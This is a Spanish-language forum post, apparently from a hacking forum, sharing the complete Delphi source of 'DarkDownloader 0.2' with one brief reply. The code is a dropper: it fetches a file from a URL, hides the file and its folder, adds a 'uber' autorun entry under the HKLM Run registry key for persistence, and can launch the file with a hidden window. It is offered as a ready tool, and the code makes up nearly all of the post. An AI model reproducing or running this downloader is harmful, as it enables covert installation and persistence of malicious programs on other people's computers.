[Delphi] DarkDownloader 0.2

Iniciado por BigBear, Julio 06, 2013, 12:05:28 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Un simple downloader con las siguientes opciones :

  • Cambiar el nombre del archivo descargado   
  • Guardarlo en una carpeta , si la carpeta no existe la crea
  • Ocultar el archivo y la carpeta
  • Hacer que ese archivo se cargue cada vez que inicie Windows
  • Cargar el archivo de forma oculta o normal

    El codigo :

    Código: delphi

    // DarkDownloader 0.2
    // Coded By Doddy H

    unit down;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
      sSkinManager, StdCtrls, sEdit, sGroupBox, ComCtrls, sStatusBar, acProgressBar,
      sRadioButton, sCheckBox, jpeg, ExtCtrls, Registry, ShellApi;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        IdHTTP1: TIdHTTP;
        sGroupBox1: TsGroupBox;
        sEdit1: TsEdit;
        Button1: TButton;
        sStatusBar1: TsStatusBar;
        sProgressBar1: TsProgressBar;
        sGroupBox2: TsGroupBox;
        sEdit2: TsEdit;
        sEdit3: TsEdit;
        sCheckBox1: TsCheckBox;
        sCheckBox2: TsCheckBox;
        sCheckBox3: TsCheckBox;
        sCheckBox4: TsCheckBox;
        Image1: TImage;
        sCheckBox5: TsCheckBox;
        sRadioButton1: TsRadioButton;
        sRadioButton2: TsRadioButton;
        procedure Button1Click(Sender: TObject);

        procedure FormCreate(Sender: TObject);

        procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCountMax: Int64);
        procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCount: Int64);
        procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}

    function getfilename(archivo: string): string;
    var
      test: TStrings;
    begin

      test := TStringList.Create;
      test.Delimiter := '/';
      test.DelimitedText := archivo;
      Result := test[test.Count - 1];

      test.Free;

    end;

    procedure TForm1.Button1Click(Sender: TObject);
    var
      filename: string;
      nombrefinal: string;
      addnow: TRegistry;
      archivobajado: TFileStream;

    begin

      if not sCheckBox1.Checked then
      begin
        filename := sEdit1.Text;
        nombrefinal := getfilename(filename);
      end
      else
      begin
        nombrefinal := sEdit2.Text;
      end;

      archivobajado := TFileStream.Create(nombrefinal, fmCreate);

      try
        begin
          DeleteFile(nombrefinal);
          IdHTTP1.Get(sEdit1.Text, archivobajado);
          sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
          Form1.sStatusBar1.Update;
          archivobajado.Free;
        end;
      except
        sStatusBar1.Panels[0].Text := '[-] Failed download';
        Form1.sStatusBar1.Update;
        archivobajado.Free;
        Abort;
      end;

      if FileExists(nombrefinal) then
      begin

        if sCheckBox2.Checked then
        begin
          if not DirectoryExists(sEdit3.Text) then
          begin
            CreateDir(sEdit3.Text);
          end;
          MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
          sStatusBar1.Panels[0].Text := '[+] File Moved';
          Form1.sStatusBar1.Update;
        end;

        if sCheckBox3.Checked then
        begin
          SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
          if sCheckBox2.Checked then
          begin
            SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
              FILE_ATTRIBUTE_HIDDEN);

            sStatusBar1.Panels[0].Text := '[+] File Hidden';
            Form1.sStatusBar1.Update;
          end
          else
          begin
            SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
            sStatusBar1.Panels[0].Text := '[+] File Hidden';
            Form1.sStatusBar1.Update;
          end;
        end;

        if sCheckBox4.Checked then
        begin

          addnow := TRegistry.Create;
          addnow.RootKey := HKEY_LOCAL_MACHINE;
          addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

          if sCheckBox2.Checked then
          begin
            addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
          end
          else
          begin
            addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
                + '/' + nombrefinal);
          end;

          sStatusBar1.Panels[0].Text := '[+] Registry Updated';
          Form1.sStatusBar1.Update;

          addnow.Free;

        end;

        if sCheckBox5.Checked then
        begin

          if sRadioButton1.Checked then
          begin
            if sCheckBox2.Checked then
            begin
              ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
                nil, nil, SW_SHOWNORMAL);
            end
            else
            begin
              ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
                SW_SHOWNORMAL);
            end;
          end
          else
          begin
            if sCheckBox2.Checked then
            begin
              ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
                nil, nil, SW_HIDE);
            end
            else
            begin
              ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
            end;
          end;

        end;

        if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
          sCheckBox4.Checked or sCheckBox5.Checked then
        begin
          sStatusBar1.Panels[0].Text := '[+] Finished';
          Form1.sStatusBar1.Update;
        end;

      end;

    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      sProgressBar1.Position := 0;
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;
    end;

    procedure TForm1.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    begin
      sProgressBar1.Position := AWorkCount;
      sStatusBar1.Panels[0].Text := '[+] Downloading ...';
      Form1.sStatusBar1.Update;
    end;

    procedure TForm1.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    begin
      sProgressBar1.Max := AWorkCountMax;
      sStatusBar1.Panels[0].Text := '[+] Starting download ...';
      Form1.sStatusBar1.Update;
    end;

    procedure TForm1.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    begin
      sProgressBar1.Position := 0;
    end;

    end.

    // The End ?


    Una imagen :



    Si quieren bajar el proyecto lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Tiene una buena pinta, le daré una probada.
Un saludo Doddy.